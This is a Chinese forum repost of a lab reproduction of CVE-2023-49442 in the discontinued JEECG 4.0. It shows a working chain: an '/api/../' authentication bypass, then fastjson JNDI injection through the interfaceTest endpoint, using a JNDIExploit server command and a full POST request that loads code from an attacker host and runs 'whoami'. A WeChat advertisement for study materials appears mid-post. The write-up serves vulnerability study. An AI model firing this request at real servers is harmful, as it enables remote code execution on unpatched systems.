ToB企服应用市场:ToB评测及商务社交产业平台

标题: CVE-2023-49442 利用分析 [打印本页]

作者: 慢吞云雾缓吐愁    时间: 2024-5-13 19:13
标题: CVE-2023-49442 利用分析
1. 漏洞先容

JEECG(J2EE Code Generation)是开源的代码天生平台,目前官方已停止维护。JEECG 4.0及之前版本中,由于/api接口鉴权时未过滤路径遍历,攻击者可构造包含 ../的url绕过鉴权。攻击者可构造恶意请求利用 jeecgFormDemoController.do?interfaceTest接口进行jndi注入攻击实现远程代码实验。注:Jeecg 与 Jeecg-boot 非相同应用。Jeccg官方地点为:https://gitee.com/jeecg/jeecg
2. 漏洞流程图分析

[img=720,378.7189148455162]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202403111541426.png[/img]

3. 情况搭建

由于版本比较老,是19年8月的项目,我就直接按照官方文档进行搭建了,期间我尝试使用IDEA+Maven搭建,但是始终飘红报错,于是老诚实实地按照官方文档使用eclipse+Maven情况搭建,我的本地设置如下:
官方文档写的比较详细我就不再赘述了:http://idoc.jeecg.com/1275933
4. 漏洞详情分析

由于这个项目已经是19年更新的了,我们去查看使用的fastjson版本发现是1.2.31,是属于存在漏洞的版本。
[img=720,764.72049689441]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202403111541427.png[/img]

感觉Eclipse审计起来不太方便,我使用IDEA来代替使用来审计。
现在我们已确定了Fastjson版本存在题目,进一步寻找触发Fastjson的漏洞点。
在审计Fastjson漏洞的时间我们着重关注parseObject和parse这两个关键词。我们在IDEA中按下Ctrl+shift+f进行查找:
[img=720,411.142061281337]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202403111541428.png[/img]

发现调用了JSONObject.parseObject(result),发现全都是在src/main/java/org/jeecgframework/core/util/HttpRequest.java文件中进行了调用。分别是函数sendGet(String url, String param)以及sendPost(String url, String param)。
然后继续寻找在那里调用了这两个函数:
同样的方法,发现在src/main/java/com/jeecg/demo/controller/JeecgFormDemoController.java中调用了这两个函数:
  1.     /**
  2.      * 常用示例Demo:接口测试
  3.      * @param request
  4.      * @param response
  5.      * @return AjaxJson
  6.      */
  7.     @RequestMapping(params = "interfaceTest")
  8.     @ResponseBody
  9.     public AjaxJson testInterface(HttpServletRequest request,HttpServletResponse response) {
  10.              AjaxJson j=new AjaxJson();
  11.          try {
  12.              String serverUrl = request.getParameter("serverUrl");//请求的地址
  13.              String requestBody = request.getParameter("requestBody");//请求的参数
  14.              String requestMethod = request.getParameter("requestMethod");//请求的方式
  15.                  if(requestMethod.equals("POST")){
  16.                      if(requestBody !=""){
  17.                          logger.info("----请求接口开始-----");
  18.                          JSONObject sendPost = HttpRequest.sendPost(serverUrl, requestBody);
  19.                          logger.info("----请求接口结束-----"+sendPost);
  20.                          j.setSuccess(true);
  21.                          j.setObj(sendPost.toJSONString());
  22.                      }else{
  23.                          j.setSuccess(false);
  24.                          j.setObj("请填写请求参数");
  25.                      }
  26.                      
  27.                  }
  28.                  if(requestMethod.equals("GET")){
  29.                       logger.info("----请求接口开始-----");
  30.                       JSONObject sendGet = HttpRequest.sendGet(serverUrl, requestBody);
  31.                       logger.info("----请求接口结束-----"+sendGet.toJSONString());
  32.                       j.setSuccess(true);
  33.                       j.setObj(sendGet);
  34.                  }
  35.         } catch (Exception e) {
  36.             j.setSuccess(false);
  37.             j.setObj("服务器请求失败");
  38.             e.printStackTrace();
  39.         }
  40.         return j;
  41.     }
复制代码
这段代码担当三个参数:serverUrl、requestBody、requestMethod。然后根据requestMethod的值决定调用不同的方法:HttpRequest.sendPost 或 HttpRequest.sendGet。
我们直接发包访问该接口会鉴权被检测到没有登录,直接302跳转,我们得想办法bypass:
[img=720,188.37209302325581]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202403111541429.png[/img]

然后我们根据漏洞简介定位/api未鉴权接口代码:src/main/java/org/jeecgframework/core/interceptors/AuthInterceptor.java
[img=720,284.82724086129195]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202403111541430.png[/img]

也就是说对于以 /api/ 开头的请求路径,即使用户未登录,也会被答应访问,不会被拦截器拦截。
【----帮助网安学习,以下全部学习资料免费领!加vx:dctintin,备注 “博客园” 获取!】
 ① 网安学习成长路径头脑导图
 ② 60+网安经典常用工具包
 ③ 100+SRC漏洞分析陈诉
 ④ 150+网安攻防实战技术电子书
 ⑤ 最权威CISSP 认证测验指南+题库
 ⑥ 超1800页CTF实战技巧手册
 ⑦ 最新网安大厂面试题合集(含答案)
 ⑧ APP客户端安全检测指南(安卓+IOS)
加上我们查看引用的Maven依靠中的alwaysUseFullPath为值默认false,这样的话步伐在处置惩罚发包中会对uri进行标准化处置惩罚。于是我们就可以使用/api/../的方式来进行bypass
[img=720,368.8507718696398]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202403111541431.png[/img]

比如说我们的poc链接是/jeecg/api/../jeecgFormDemoController.do?interfaceTest= 然后进行标准化处置惩罚后就会酿成/jeecg/jeecgFormDemoController.do?interfaceTest= 从而绕过登录限制。
[img=720,249.98019801980197]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202403111541432.png[/img]

然后就是针对fastjson1.2.31版本的漏洞利用了,这里我使用了集成的工具JNDIExploit-1.4-SNAPSHOT
利用方法就是先在我们的Kali假造机(vps作用)上开启监听:
这里因为我的假造机上的java版本过高,Java 9及以上版本引入了模块化体系,其中的java.xml模块不会默认导出com.sun.org.apache.xalan.internal.xsltc.runtime包,因此导致com.feihong.ldap.template.TomcatEchoTemplate类无法访问com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet类。所以通过下令行参数--add-exports java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED来向模块java.xml添加导出指令,使得com.sun.org.apache.xalan.internal.xsltc.runtime包能够被未命名模块(ALL-UNNAMED)访问。
  1. java --add-exports java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED -jar JNDIExploit-1.4-SNAPSHOT.jar -i 192.168.16.131
复制代码
[img=720,57.48584371460929]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202403111541433.png[/img]

然后用python公开一个poc.txt
[img=720,187.09807886754297]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202403111541434.png[/img]

然后直接调用该接口使用下面的Poc即可:
  1. POST /jeecg/api/../jeecgFormDemoController.do?interfaceTest= HTTP/1.1
  2. Host: 127.0.0.1:8081
  3. Pragma: no-cache
  4. Cache-Control: no-cache
  5. Upgrade-Insecure-Requests: 1
  6. Accept-Encoding: gzip, deflate, br
  7. Accept-Language: zh-CN,zh;q=0.9
  8. Connection: close
  9. Content-Type: application/x-www-form-urlencoded
  10. cmd: whoami
  11. serverUrl=http://192.168.16.131:8081/poc.txt&requestBody=123&requestMethod=GET
复制代码
[img=720,238.62332695984705]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202403111541436.png[/img]

5. 总结

一开始预备复现这个漏洞是以为JEECG-BOOT爆这么大的前台RCE漏洞了,后面发现原来是19年的停止维护的版本。整个复现流程下来不算轻松,重要是老版本的情况Debug题目,通过本漏洞的复现学习,对fastjson漏洞和alwaysUseFullPath绕过鉴权漏洞有了更多的体会。
更多网安技能的在线实操练习,请点击这里>>
  

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。




欢迎光临 ToB企服应用市场:ToB评测及商务社交产业平台 (https://dis.qidao123.com/) Powered by Discuz! X3.4